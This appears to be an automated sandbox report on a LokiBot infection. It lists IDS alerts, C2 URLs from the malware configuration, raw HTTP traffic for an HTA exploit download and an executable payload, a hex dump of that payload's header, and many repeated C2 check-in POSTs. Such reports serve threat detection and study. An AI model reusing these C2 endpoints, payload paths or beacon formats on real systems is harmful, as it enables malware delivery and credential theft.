Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49172
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49237
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49216 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49216 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49216 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49216 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49216 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49216
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49218 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49218 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49218 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49218 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49218 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49218
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49244
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49191
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49193 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49193 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49193 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49193 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49193 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49193
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49200
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49220
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49235

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: 94.156.177.41/simple/five/fre.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:56:45 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Wed, 20 Nov 2024 01:04:28 GMTETag: "92a00-6274dbb521496"Accept-Ranges: bytesContent-Length: 600576Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9c 35 3d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 08 09 00 00 20 00 00 00 00 00 00 2e 27 09 00 00 20 00 00 00 40 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 26 09 00 4f 00 00 00 00 40 09 00 7c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 07 09 00 00 20 00 00 00 08 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 7c 1d 00 00 00 40 09 00 00 1e 00 00 00 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 09 00 00 02 00 00 00 28 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 27 09 00 00 00 00 00 48 00 00 00 02 00 05 00 a8 36 00 00 0c 28 00 00 03 00 00 00 16 00 00 06 b4 5e 00 00 28 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c2 02 28 14 00 00 0a 02 03 7d 01 00 00 04 02 7b 01 00 00 04 72 01 00 00 70 20 d1 01 00 00 17 6f 35 00 00 06 02 7b 01 00 00 04 6f 37 00 00 06 26 2a 00 00 00 1b 30 03 00 1f 00 00 00 01 00 00 11 02 7b 01 00 00 04 03 04 6f 39 00 00 06 02 03 7d 02 00 00 04 17 0a de 05 26 16 0a de 00 06 2a 00 01 10 00 00 00 00 00 00 18 18 00 05 0a 00 00 02 1b 30 03 00 74 00 00 00 02 00 00 11 05 6f 15 00 00 0a 02 7b 01 00 00 04 02 7b 02 00 00 04 72 1f 00 00 70 28 16 00 00 0a 6f 3a 00 00 06 03 0a 16 0b 2b 25 06 07 9a 0c 02 7b 01 00 00 04 08 6f 17 00 00 0a 6f 3b 00 00 06 05 08 6f 18 00 00 0a de 03 26 de 00 07 17 58 0b 07 06 8e 69 32 d5 02 7b 01 00 00 04 04 6f 3c 00 00 06 17 0d de 10 26 02 7b 01 00 00 04 6f 3d 00 00 06 16 0d de 00 09 2a 01 1c 00 00 00 00 2b 00 1a 45 00 03 0a 00 00 02 00 00 06 00 5c 62 00 10 0a 00 00 02 32 02 7b 01 00 00 04 6f 41 00 00 06 2a 6e 02 28 19 00 00 0a 02 03 7d 03 00 00 04 02

Source: Joe Sandbox View

IP Address: 192.3.243.136 192.3.243.136

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: NET1-ASBG NET1-ASBG

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49166 -> 192.3.243.136:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 192.3.243.136:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49184 -> 192.3.243.136:80

Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: provit.ukConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.136Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.243.136If-Range: "2c850-6274dfb369376"
Source: global traffic	HTTP traffic detected: GET /55/caspol.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.136Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: GET /xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Wed, 20 Nov 2024 01:22:20 GMTConnection: Keep-AliveHost: 192.3.243.136If-None-Match: "2c850-6274dfb369376"
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A6A8C306Content-Length: 149Connection: close
